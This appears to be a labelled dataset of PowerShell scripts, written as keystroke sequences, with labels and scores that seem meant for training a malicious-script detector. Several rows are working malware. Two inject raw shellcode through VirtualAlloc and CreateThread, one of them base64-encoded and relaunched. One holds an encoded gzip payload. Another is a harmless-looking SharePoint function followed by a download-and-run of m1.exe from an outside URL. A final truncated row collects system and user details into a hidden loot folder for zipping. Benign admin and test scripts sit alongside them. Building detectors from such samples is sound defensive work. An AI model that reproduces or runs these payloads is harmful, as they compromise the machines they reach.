"win+r powershell enter $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(""H4sIAAAAAAAAAL1We2/a enter SBD/Gz7FqopkW+UZuJREitTFQIBgwiMBUorQYi9mw9pL7HUI1/a73/hBSi5JL1Wls2Rpd2dmd+Y3zyGV enter 2aH0mCkNYVGUHVHPZ8JFx+n0UU20JDpHn5X0MnBNGR6Hi7lN5XzjCXNOLMujvo++pVM94hEHqUcPxJs7 enter wgo4zaBoEzJSK/ColkqlU9FR4PpkSecukeyBzh0qV8Ly4SF1ijebmnAIc2dnZ3rgedSV8T53QSX2feos enter OKO+qqHvaLyiHs1eLe6oKdE3dDTPXXCxIDxh2+nEXIFB2LVCWkeYJLQgN9xwJlXl61dFm2aLs1z9PiDc enter V5XhzpfUyVmcKxr6oYUPXu82VFUMZnrCF0uZGzO3dJy7ibTvRsobse6KlgbbPCoDz0VvmxjeGUuoCix7 enter gAyOEVS0XMt9EGuqHrkB5xn0WZ0mCg0CVzKHAl1ST2yG1HtgJvVzTeJanA7ocqZ26XaPw3uF1EMh4OpJ enter T8sk7nuP7kbk4vg6RXup/UEcaPC9iAUt/SP9SlRZlFObSDqXAP1BWKVTqWm0pGCP2hM+i+TOUSGDDFCC enter SOHtYHt07QVUm6Fp6LrpbJY8u5f0M29eVNxLJTKxM2M9ztF0JJg1S6ciP0f0kDBfBIxb1AsZ3o7cGl0y enter l9Z2LnGYuQ9O9TWn0SWnESC5PVsXFFWVhECtWgKPEiI6fSlWd5h8kq3GymETHO+DVhAT2nNlYieqSss1 enter qAMAxnsFnLWElKB77iQNdvvXwz0wKTonvp9BvQBy0sygISWcWhmEXZ8lJBxIES2Vn+oaAZfMJL7cXzfT enter XoE0eVoXri+9wAT3AgzX enter enter",1,1,6.26876e-05,0.9999373
"win+r enter powershell enter enter enter function Take-Ownership { enter param ( enter [String]$Folder, enter [switch]$Everyone, enter [switch]$ThisItemOnly, enter [switch]$File, enter [switch]$Revoke enter ) enter enter if ( !$file -and !($Folder.EndsWith('\')) ) { enter $Folder += '\' enter } enter enter if ($Folder -match ' ') { enter $Folder = '""' + $Folder + '""' enter } enter enter if ($Everyone) { enter if ($Revoke) { enter if (!$ThisItemOnly) { enter SubInACL.exe /SUBDIRECTORIES $Folder /REVOKE=Everyone enter } enter SubInACL.exe /FILE $Folder /REVOKE=Everyone enter } else { enter SubInACL.exe /FILE $Folder /GRANT=Everyone=F enter if (!$ThisItemOnly) { enter SubInACL.exe /SUBDIRECTORIES $Folder /GRANT=Everyone=F enter } enter } enter } else { enter if ($Revoke) { enter if (!$ThisItemOnly) { enter SubInACL.exe /SUBDIRECTORIES $Folder /REVOKE=Administrators enter } enter SubInACL.exe /FILE $Folder /REVOKE=Administrators enter } else { enter SubInACL.exe /FILE $Folder /GRANT=Administrators=F enter if (!$ThisItemOnly) { enter SubInACL.exe /SUBDIRECTORIES $Folder /GRANT=Administrators=F enter } enter } enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xcc,0xd9,0x74,0x24,0xf4,0xbb,0x47,0xfe,0xc4,0x44,0x5f,0x31,0xc9,0xb1,0x47,0x83,0xc7,0x04,0x31,0x5f,0x14,0x03,0x5f,0x53,0x1c,0x31,0xb8,0xb3,0x62,0xba,0x41,0x43,0x03,0x32,0xa4,0x72,0x03,0x20,0xac,0x24,0xb3,0x22,0xe0,0xc8,0x38,0x66,0x11,0x5b,0x4c,0xaf,0x16,0xec,0xfb,0x89,0x19,0xed,0x50,0xe9,0x38,0x6d,0xab,0x3e,0x9b,0x4c,0x64,0x33,0xda,0x89,0x99,0xbe,0x8e,0x42,0xd5,0x6d,0x3f,0xe7,0xa3,0xad,0xb4,0xbb,0x22,0xb6,0x29,0x0b,0x44,0x97,0xff,0x00,0x1f,0x37,0x01,0xc5,0x2b,0x7e,0x19,0x0a,0x11,0xc8,0x92,0xf8,0xed,0xcb,0x72,0x31,0x0d,0x67,0xbb,0xfe,0xfc,0x79,0xfb,0x38,0x1f,0x0c,0xf5,0x3b,0xa2,0x17,0xc2,0x46,0x78,0x9d,0xd1,0xe0,0x0b,0x05,0x3e,0x11,0xdf,0xd0,0xb5,0x1d,0x94,0x97,0x92,0x01,0x2b,0x7b,0xa9,0x3d,0xa0,0x7a,0x7e,0xb4,0xf2,0x58,0x5a,0x9d,0xa1,0xc1,0xfb,0x7b,0x07,0xfd,0x1c,0x24,0xf8,0x5b,0x56,0xc8,0xed,0xd1,0x35,0x84,0xc2,0xdb,0xc5,0x54,0x4d,0x6b,0xb5,0x66,0xd2,0xc7,0x51,0xca,0x9b,0xc1,0xa6,0x2d,0xb6,0xb6,0x39,0xd0,0x39,0xc7,0x10,0x16,0x6d,0x97,0x0a,0xbf,0x0e,0x7c,0xcb,0x40,0xdb,0xd3,0x9b,0xee,0xb4,0x93,0x4b,0x4e,0x65,0x7c,0x86,0x41,0x5a,0x9c,0xa9,0x88,0xf3,0x37,0x53,0x5a,0x35,0x37,0xaf,0x67,0xad,0xba,0x50,0x86,0x72,0x32,0xb6,0xc2,0x9a,0x12,0x60,0x7a,0x02,0x3f,0xfa,0x1b,0xcb,0x95,0x86,0x1b,0x47,0x1a,0x76,0xd5,0xa0,0x57,0x64,0x81,0x40,0x22,0xd6,0x07,0x5e,0x98,0x7d,0xa7,0xca,0x27,0xd4,0xf0,0x62,0x2a,0x01,0x36,0x2d,0xd5,0x64,0x4d,0xe4,0x43,0xc7,0x39,0x09,0x84,0xc7,0xb9,0x5f,0xce,0xc7,0xd1,0x07,0xaa,0x9b,0xc4,0x47,0x67,0x88,0x55,0xd2,0x88,0xf9,0x0a,0x75,0xe1,0x07,0x75,0xb1,0xae,0xf8,0x50,0x43,0x92,0x2e,0x9c,0x31,0xfa,0xf2;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.173838e-05,0.99994826
"win+r enter powershell enter enter enter $groupId = "" FILL ME IN "" enter $datasetId = "" FILL ME IN "" enter Login-PowerBI enter $uri = ""groups/$groupId/datasets/$datasetId/Default.TakeOver"" enter try { enter Invoke-PowerBIRestMethod -Url $uri -Method Post enter if (-Not $?) enter { enter $errmsg = Resolve-PowerBIError -Last enter $errmsg.Message enter } enter } catch { enter enter $errmsg = Resolve-PowerBIError -Last enter $errmsg.Message enter } enter enter",0,0,0.99494356,0.005056449
"win+r enter powershell enter enter enter $reportServerUri = if ($env:PesterServerUrl -eq $null) { 'http://localhost/reportserver' } else { $env:PesterServerUrl } enter enter Function Set-FolderReportDataSource enter { enter param ( enter [string] enter $NewFolderPath enter ) enter enter $tempProxy = New-RsWebServiceProxy -ReportServerUri $reportServerUri enter $localResourcesPath = (Get-Item -Path "".\"").FullName + '\Tests\CatalogItems tab estResources\emptyReport.rdl' enter $null = Write-RsCatalogItem -Path $localResourcesPath -RsFolder $NewFolderPath -Proxy $tempProxy enter $report = (Get-RsFolderContent -RsFolder $NewFolderPath -Proxy $tempProxy)| Where-Object TypeName -eq 'Report' enter $localResourcesPath = (Get-Item -Path "".\"").FullName + '\Tests\CatalogItems tab estResources\UnDataset.rsd' enter $null = Write-RsCatalogItem -Path $localResourcesPath -RsFolder $NewFolderPath -Proxy $tempProxy enter $dataSet = (Get-RsFolderContent -RsFolder $NewFolderPath -Proxy $tempProxy) | Where-Object TypeName -eq 'DataSet' enter $DataSetPath = $NewFolderPath + '/UnDataSet' enter $newRSDSName = ""DataSource"" enter $newRSDSExtension = ""SQL"" enter $newRSDSConnectionString = ""Initial Catalog=DB; Data Source=Instance"" enter $newRSDSCredentialRetrieval = ""Store"" enter $Pass = ConvertTo-SecureString -String ""123"" -AsPlainText -Force enter $newRSDSCredential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""sql"", $Pass enter $null = New-RsDataSource -RsFolder $NewFolderPath -Name $newRSDSName -Extension $newRSDSExtension -ConnectionString $newRSDSConnectionString -CredentialRetrieval $newRSDSCredentialRetrieval -DatasourceCredentials $newRSDSCredential -Proxy $tempProxy enter enter $DataSourcePath = ""$NewFolderPath/$newRSDSName"" enter $RsDataSet = Get-RsItemReference -Path $report.Path -Proxy $tempProxy | Where-Object ReferenceType -eq 'DataSet' enter $RsDataSource = Get-RsItemReference -Path $report.Path -Proxy $tempProxy | Where-Object ReferenceType -eq 'DataSource' enter $RsDataSetSource = Get-RsItemReference -Path $DataSetPath -Proxy $tempProxy | Where-Object ReferenceType -eq 'DataSource' enter $null = Set-RsDataSourceReference -Path $DataSetPath -DataSourceName $RsDataSetSource.Name -DataSourcePath $DataSourcePath -Proxy $tempProxy enter $null = Set-RsDataSourceReference -Path $report.Path -DataSourceName $RsDataSource.Name -DataSourcePath $DataSourcePath -Proxy $tempProxy enter $null = Set-RsDataSetReference -Path $report.Path -DataSetName $RsDataSet.Name -DataSetPath $dataSet.Path -Proxy $tempProxy enter enter return $report enter } enter enter Describe ""Get-RsSubscription"" { enter $folderPath = '' enter $newReport = $null enter enter BeforeEach { enter $folderName = 'SutGetRsItemReference_MinParameters' + [guid]::NewGuid() enter $null = New-RsFolder -Path / -FolderName $folderName -ReportServerUri $reportServerUri enter $folderPath = '/' + $folderName enter $newReport = Set-FolderReportDataSource($folderPath) enter New-RsSubscription -ReportServerUri $reportServerUri -RsItem $newReport.Path -DeliveryMethod FileShare -Schedule (New-RsScheduleXml) -FileSharePath '\\unc\path' -Filename 'Report' -FileWriteMode Overwrite -RenderFormat PDF enter } enter enter Context ""Get-RsSubscription with Proxy parameter""{ enter It ""Should found a reference to a subscription"" { enter $proxy = New-RsWebServiceProxy -ReportServerUri $reportServerUri enter $reportSubscriptions = Get-RsSubscription -RsItem $newReport.Path -Proxy $proxy enter enter @($reportSubscriptions).Count | Should Be 1 enter $reportSubscriptions.Report | Should Be ""emptyReport"" enter $reportSubscriptions.EventType | Should Be ""TimedSubscription"" enter $reportSubscriptions.IsDataDriven | Should Be $false enter $reportSubscriptions.DeliverySettings.Extension | Should Be ""Report Server FileShare"" enter ($reportSubscriptions.DeliverySettings.ParameterValues | Where-Object { $_.Name -eq 'Path' }).Value | Should Be ""\\unc\path"" enter ($reportSubscriptions.DeliverySettings.ParameterValues | Where-Object { $_.Name -eq 'FileName' }).Value | Should Be ""Report"" enter ($reportSubscriptions.DeliverySettings.ParameterValues | Where-Object { $_.Name -eq 'WriteMode' }).Value | Should Be ""Overwrite"" enter ($reportSubscriptions.DeliverySettings.ParameterValues | Where-Object { $_.Name -eq 'DefaultCredentials' }).Value | Should Be True enter } enter } enter enter Context ""Get-RsSubscription with ReportServerUri Parameter""{ enter It ""Should found a reference to a subscription"" { enter $reportSubscriptions = Get-RsSubscription -RsItem $newReport.Path -ReportServerUri $reportServerUri enter enter @($reportSubscriptions).Count | Should Be 1 enter $reportSubscriptions.Report | Should Be ""emptyReport"" enter $reportSubscriptions.EventType | Should Be ""TimedSubscription"" enter $reportSubscriptions.IsDataDriven | Should Be $false enter $reportSubscriptions.DeliverySettings.Extension | Should Be ""Report Server FileShare"" enter ($reportSubscriptions.DeliverySettings.ParameterValues | Where-Object { $_.Name -eq 'Path' }).Value | Should Be ""\\unc\path"" enter ($reportSubscriptions.DeliverySettings.ParameterValues | Where-Object { $_.Name -eq 'FileName' }).Value | Should Be ""Report"" enter ($reportSubscriptions.DeliverySettings.ParameterValues | Where-Object { $_.Name -eq 'WriteMode' }).Value | Should Be ""Overwrite"" enter ($reportSubscriptions.DeliverySettings.ParameterValues | Where-Object { $_.Name -eq 'DefaultCredentials' }).Value | Should Be True enter } enter } enter enter Context ""Get-RsSubscription with ReportServerUri and Proxy Parameter""{ enter It ""Should found a reference to a subscription"" { enter $proxy = New-RsWebServiceProxy -ReportServerUri $reportServerUri enter $reportSubscriptions = Get-RsSubscription -RsItem $newReport.Path -Proxy $proxy -ReportServerUri $reportServerUri enter enter @($reportSubscriptions).Count | Should Be 1 enter $reportSubscriptions.Report | Should Be ""emptyReport"" enter $reportSubscriptions.EventType | Should Be ""TimedSubscription"" enter $reportSubscriptions.IsDataDriven | Should Be $false enter $reportSubscriptions.DeliverySettings.Extension | Should Be ""Report Server FileShare"" enter ($reportSubscriptions.DeliverySettings.ParameterValues | Where-Object { $_.Name -eq 'Path' }).Value | Should Be ""\\unc\path"" enter ($reportSubscriptions.DeliverySettings.ParameterValues | Where-Object { $_.Name -eq 'FileName' }).Value | Should Be ""Report"" enter ($reportSubscriptions.DeliverySettings.ParameterValues | Where-Object { $_.Name -eq 'WriteMode' }).Value | Should Be ""Overwrite"" enter ($reportSubscriptions.DeliverySettings.ParameterValues | Where-Object { $_.Name -eq 'DefaultCredentials' }).Value | Should Be True enter } enter } enter } enter enter",0,0,0.99992585,7.408457e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_msffhkfo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter",0,0,0.999966,3.3987882e-05
"win+r enter powershell enter enter enter function Uninstall-SPOSolution enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [string]$solutionName enter ) enter enter Write-Host ""Deactivate solution $path"" -foregroundcolor black -backgroundcolor yellow enter enter Switch-SPOEnableDisableSolution -solutionName $solutionName -activate $false enter enter Write-Host ""Solution succesfully deactivated"" -foregroundcolor black -backgroundcolor green enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://labid.com.my/m/m1.exe',""$env:TEMP\m1.exe"");Start-Process (""$env:TEMP\m1.exe"") enter enter",1,1,6.160106e-05,0.99993837
"win+r enter powershell enter enter enter  enter [CmdletBinding()] enter param ( enter [switch]$Replace, enter [Parameter(Mandatory)] enter [ValidateScript({ Test-Path $_ -PathType Leaf })] enter [string]$CsvFilePath, enter [Parameter(Mandatory)] enter [string]$ServerInstance, enter [Parameter(Mandatory)] enter [string]$Database, enter [string]$Schema = 'dbo', enter [Parameter(Mandatory)] enter [string]$Table enter ) enter enter begin { enter $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop enter Set-StrictMode -Version Latest enter try { enter enter $CsvRows = Import-Csv -Path $CsvFilePath enter $SqlTable = Get-SqlTable -Database (Get-SqlDatabase -sqlserver $Server -dbname $Database) -Name $Table -Schema $Schema enter if (Compare-Object -DifferenceObject ($CsvRows[0].Psobject.Properties.Name) -ReferenceObject ($SqlTable.Columns.Name)) { enter throw 'The field names in the CSV file and the SQL database are not equal' enter } enter $SqlRows = Get-SqlData -sqlserver $ServerInstance -dbname $Database -qry ""SELECT * FROM $Table"" enter } catch { enter Write-Error $_.Exception.Message enter exit enter } enter } enter enter process { enter try { enter $PrimaryKey = ($SqlTable.Columns | Where-Object { $_.InPrimaryKey }).Name enter $SqlIntCols = $SqlTable.Columns | where { @('smallint', 'int') -contains $_.DataType.Name } enter $SqlCharCols = $SqlTable.Columns | where { @('varchar', 'char') -contains $_.DataType.Name } enter enter foreach ($CsvRow in $CsvRows) { enter try { enter enter $SqlRow = $SqlRows | Where-Object { $_.$PrimaryKey -eq $CsvRow.$PrimaryKey } enter if ($SqlRow) { enter $FieldDiffs = [ordered]@{ } enter foreach ($CsvProp in ($CsvRow.PsObject.Properties | where { $_.Name -ne $PrimaryKey })) { enter foreach ($SqlProp in ($SqlRow.PsObject.Properties | where { $_.Name -ne $PrimaryKey })) { enter if (($CsvProp.Name -eq $SqlProp.Name) -and ($CsvProp.Value -ne $SqlProp.Value)) { enter $FieldDiffs[""$($CsvProp.Name) - FROM""] = $SqlProp.Value; enter $FieldDiffs[""$($CsvProp.Name) - TO""] = $CsvProp.Value enter } enter } enter } enter if (!($FieldDiffs.Keys | where { $_ })) { enter Write-Verbose ""All fields are equal for row $($SqlRow.$PrimaryKey)"" enter } else { enter $FieldDiffs['PrimaryKeyValue'] = $SqlRow.$PrimaryKey enter if (!$Replace.IsPresent) { enter [pscustomobject]$FieldDiffs enter } else { enter } enter } enter } else { enter Write-Verbose ""No SQL row match found for CSV row $($CsvRow.$PrimaryKey)"" enter } enter } catch { enter Write-Warning ""Error Occurred: $($_.Exception.Message) in row $($CsvRow.$PrimaryKey)"" enter } enter } enter } catch { enter Write-Error $_.Exception.Message enter } enter } enter $9VE2 = '$dohr = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $dohr -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xd9,0xbb,0xc4,0xef,0xd5,0xd1,0xd9,0x74,0x24,0xf4,0x5e,0x2b,0xc9,0xb1,0x47,0x31,0x5e,0x18,0x03,0x5e,0x18,0x83,0xee,0x38,0x0d,0x20,0x2d,0x28,0x50,0xcb,0xce,0xa8,0x35,0x45,0x2b,0x99,0x75,0x31,0x3f,0x89,0x45,0x31,0x6d,0x25,0x2d,0x17,0x86,0xbe,0x43,0xb0,0xa9,0x77,0xe9,0xe6,0x84,0x88,0x42,0xda,0x87,0x0a,0x99,0x0f,0x68,0x33,0x52,0x42,0x69,0x74,0x8f,0xaf,0x3b,0x2d,0xdb,0x02,0xac,0x5a,0x91,0x9e,0x47,0x10,0x37,0xa7,0xb4,0xe0,0x36,0x86,0x6a,0x7b,0x61,0x08,0x8c,0xa8,0x19,0x01,0x96,0xad,0x24,0xdb,0x2d,0x05,0xd2,0xda,0xe7,0x54,0x1b,0x70,0xc6,0x59,0xee,0x88,0x0e,0x5d,0x11,0xff,0x66,0x9e,0xac,0xf8,0xbc,0xdd,0x6a,0x8c,0x26,0x45,0xf8,0x36,0x83,0x74,0x2d,0xa0,0x40,0x7a,0x9a,0xa6,0x0f,0x9e,0x1d,0x6a,0x24,0x9a,0x96,0x8d,0xeb,0x2b,0xec,0xa9,0x2f,0x70,0xb6,0xd0,0x76,0xdc,0x19,0xec,0x69,0xbf,0xc6,0x48,0xe1,0x2d,0x12,0xe1,0xa8,0x39,0xd7,0xc8,0x52,0xb9,0x7f,0x5a,0x20,0x8b,0x20,0xf0,0xae,0xa7,0xa9,0xde,0x29,0xc8,0x83,0xa7,0xa6,0x37,0x2c,0xd8,0xef,0xf3,0x78,0x88,0x87,0xd2,0x00,0x43,0x58,0xdb,0xd4,0xfe,0x5d,0x4b,0x17,0x56,0x5c,0xe2,0xff,0xa5,0x5f,0xe5,0xa3,0x20,0xb9,0x55,0x0c,0x63,0x16,0x15,0xfc,0xc3,0xc6,0xfd,0x16,0xcc,0x39,0x1d,0x19,0x06,0x52,0xb7,0xf6,0xff,0x0a,0x2f,0x6e,0x5a,0xc0,0xce,0x6f,0x70,0xac,0xd0,0xe4,0x77,0x50,0x9e,0x0c,0xfd,0x42,0x76,0xfd,0x48,0x38,0xd0,0x02,0x67,0x57,0xdc,0x96,0x8c,0xfe,0x8b,0x0e,0x8f,0x27,0xfb,0x90,0x70,0x02,0x70,0x18,0xe5,0xed,0xee,0x65,0xe9,0xed,0xee,0x33,0x63,0xee,0x86,0xe3,0xd7,0xbd,0xb3,0xeb,0xcd,0xd1,0x68,0x7e,0xee,0x83,0xdd,0x29,0x86,0x29,0x38,0x1d,0x09,0xd1,0x6f,0x9f,0x75,0x04,0x49,0xd5,0x97,0x94;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$Izyd=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Izyd.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$Izyd,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($9VE2));$gKMJ = ""-e "";if([IntPtr]::Size -eq 8){$lOfD = $env:SystemRoot + ""\syswow64\WindowsPowerShell\v1.0\powershell"";iex ""& $lOfD $gKMJ $e""}else{;iex ""& powershell $gKMJ $e"";} enter enter",1,1,5.2647e-05,0.9999473
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_57zrkg1c"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""powershell"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 25 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_25.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.396468e-05
"win+r enter powershell enter enter enter # Set-PSReadlineOption -HistorySaveStyle SaveNothing enter enter $ProgramFiles = ls ""C:\Program Files"" | Out-Null enter enter $ProgramFiles86 = ls ""C:\Program Files (x86)"" | Out-Null enter enter $Network = ipconfig enter enter ############### enter enter $folderDateTime = (get-date).ToString('d/M/y HH-mm-ss') enter enter $userDir = ""C:\Users\$env:UserName\Lxq49abEQz"" enter $lootDir = ""C:\Users\$env:UserName\TehYpfKxbn"" enter enter New-Item -ItemType Directory -Force -Path $userDir enter $fileSaveDir = New-Item -ItemType Directory -Force -Path ""$userDir\"" enter enter New-Item -ItemType Directory -Force -Path $lootDir enter $fileLootDir = New-Item -ItemType Directory -Force -Path ""$lootDir\"" enter $date = Get-Date -Format ""dd/MM/yyyy HH:mm:ss"" enter enter $style = ""<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:500px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"" enter enter $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/export.html' enter enter $Report = $Report + ""<div id=body><h1>Info Report</h1><hr size=2><br><h3> Generated on: $date </h3><br>"" enter enter ################################### enter enter $Report = $Report + '<div id=center><h3> Installed Programs</h3> ' enter enter $Report = $Report + (Get-WmiObject -class Win32_Product | ConvertTo-html Name, Version,InstallDate) enter enter ################################### enter enter $Report = $Report + '</table></div>' enter enter $SysBootTime = Get-WmiObject Win32_OperatingSystem enter enter $BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime enter enter $SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName $env:COMPUTERNAME) enter enter $SerialNo = $SysSerialNo.SerialNumber enter enter $SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model enter enter $SysManufacturer = $SysInfo.Manufacturer enter enter $SysModel = $SysInfo.Model enter enter $OS = (Get-WmiObject Win32_OperatingSystem -computername $env:COMPUTERNAME ).caption enter enter $disk = Get-WmiObject Win32_LogicalDisk -Filter ""DeviceID='C:'"" enter enter $HD = [math]::truncate($disk.Size / 1GB) enter enter $FreeSpace = [math]::truncate($disk.FreeSpace / 1GB) enter enter $SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername $env:COMPUTERNAME | Select TotalVisibleMemorySize enter enter $Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB) enter enter $SysCpu = Get-WmiObject Win32_Processor | Select Name enter enter $Cpu = $SysCpu.Name enter enter $HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME | select SerialNumber enter enter $HardSerialNo = $HardSerial.SerialNumber enter enter $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name enter enter $graphicsCard = gwmi win32_VideoController |select Name enter enter $graphics = $graphicsCard.Name enter enter $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1 enter enter $DriveLetter = $CDDrive.Drive enter enter $DriveName = $CDDrive.Caption enter enter $Disk = $DriveLetter + '\' + $DriveName enter enter $Firewall = New-Object -com HNetCfg.FwMgr enter enter $FireProfile = $Firewall.LocalPolicy.CurrentProfile enter enter $FireProfile = $FireProfile.FirewallEnabled enter enter $Report = $Report + ""<div id=left><h3>Computer Information</h3><br><table><tr><td>Operating System</td><td>$OS</td></tr><tr><td>OS Serial Number:</td><td>$SerialNo</td></tr><tr><td>Current User:</td><td>$env:USERNAME </td></tr><tr><td>System Uptime:</td><td>$BootTime</td></tr><tr><td>System Manufacturer:</td><td>$SysManufacturer</td></tr><tr><td>System Model:</td><td>$SysModel</td></tr><tr><td>Serial Number:</td><td>$HardSerialNo</td></tr><tr><td>Firewall is Active:</td><td>$FireProfile</td></tr></table></div><div id=right><h3>Hardware Information</h3><table><tr><td>Hardrive Size:</td><td>$HD GB</td></tr><tr><td>Hardrive Free Space:</td><td>$FreeSpace GB</td></tr><tr><td>System RAM:</td><td>$Ram GB</td></tr><tr><td>Processor:</td><td>$Cpu</td></tr><td>CD Drive:</td><td>$Disk</td></tr><tr><td>Graphics Card:</td><td>$graphics</td></tr></table></div>"" enter enter $UserInfo = Get-WmiObject -class Win32_UserAccount -namespace root/CIMV2 | Where-Object {$_.Name -eq $env:UserName}| Select AccountType,SID,PasswordRequired enter enter $UserType = $UserInfo.AccountType enter enter $UserSid = $UserInfo.SID enter enter $UserPass = $UserInfo.PasswordRequired enter enter $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator') enter enter $Execute = Get-ExecutionPolicy enter enter $Report = $Report + ""<div id=left><h3>User Information</h3><br><table><tr><td>Current User Name:</td><td>$env:USERNAME</td></tr><tr><td>Account Type:</td><td> $UserType</td></tr><tr><td>User SID:</td><td>$UserSid</td></tr><tr><td>Account Domain:</td><td>$env:USERDOMAIN</td></tr><tr><td>Password Required:</td><td>$UserPass</td></tr><tr><td>Current User is Admin:</td><td>$IsAdmin</td></tr><tr><td>Can execute commands:</td><td>$Execute</td></tr></table></div>"" enter $Report = $Report + ""<div id=right><h3> Network</h3>"" enter enter # Definir el contenido del reporte enter $cuerpo = $network enter enter # Crear la tabla HTML enter $html = ""<html><head><style>table {border-collapse: collapse;}th, td {border: 1px solid black;padding: 5px;text-align: left;}</style></head><body>"" enter $html += ""<table><tr><th>Descripcion</th><th>Valor</th></tr>"" enter $html += $cuerpo -split ""`n"" | ForEach-Object { enter $campo, $valor = $_ -split "":"" enter ""<tr><td>$campo</td><td>$valor</td></tr>"" enter } enter $html += ""</table></body></html>"" enter $Report = $Report + ($html) enter $Report = $Report + '</table></div>' enter ################### VARS enter enter $tamanomane = Get-ChildItem ""C:\Program Files"" | Where-Object {$_.PSIsContainer} | Select-Object Name, @{Name=""Size_MB"";Expression={""{0:N2}"" -f ((Get-ChildItem $_.FullName -Recurse | Measure-Object -Property Length -Sum).Sum / 1MB)}} enter enter $tamanomane86 = Get-ChildItem ""C:\Program Files (x86)"" | Where-Object {$_.PSIsContainer} | Select-Object Name, @{Name=""Size_MB"";Expression={""{0:N2}"" -f ((Get-ChildItem $_.FullName -Recurse | Measure-Object -Property Length -Sum).Sum / 1MB)}} enter $style = ""<style>table td {padding-right: 10px;text-align: left;}#left{float: left;background-color: #C0C0C0;width: 45%;height: 500px;border: 4px solid black;padding: 10px;margin: 10px;overflow: scroll;}#right{background-color: #C0C0C0;float: right;width: 45%;height: 500px;border: 4px solid black;padding: 10px;margin: 10px;overflow: scroll;}</style>"" enter ############################ enter $Report = $Report + ""<div id=left><h3> C:\Program Files</h3>"" enter enter $Report = $Report + ($tamanomane | ConvertTo-html Name, Size_MB) enter $Report = $Report + '</table></div>' enter enter $Report = $Report + ""<div id=right><h3> C:\Program Files (x86)</h3>"" enter enter $Report = $Report + ($tamanomane86 | ConvertTo-html Name, Size_MB) enter $Report = $Report + '</table></div>' enter ############################ Export & Compress enter enter $Report >> $fileSaveDir'/export.html' enter enter function copy-ToZip($fileSaveDir){ enter enter $srcdir = $fileSaveDir enter enter $zipfile1 = ""$HOME\TehYpfKxbn\export.zip"" enter enter $zipFile = $zipfile1 enter enter if(-not (test-path($zipFile))) { enter enter set-content $zipFile (""PK"" + [char]5 + [char]6 + (""$([char]0)"" * 18)) enter enter (dir $zipFile).IsReadOnly = $false} enter enter 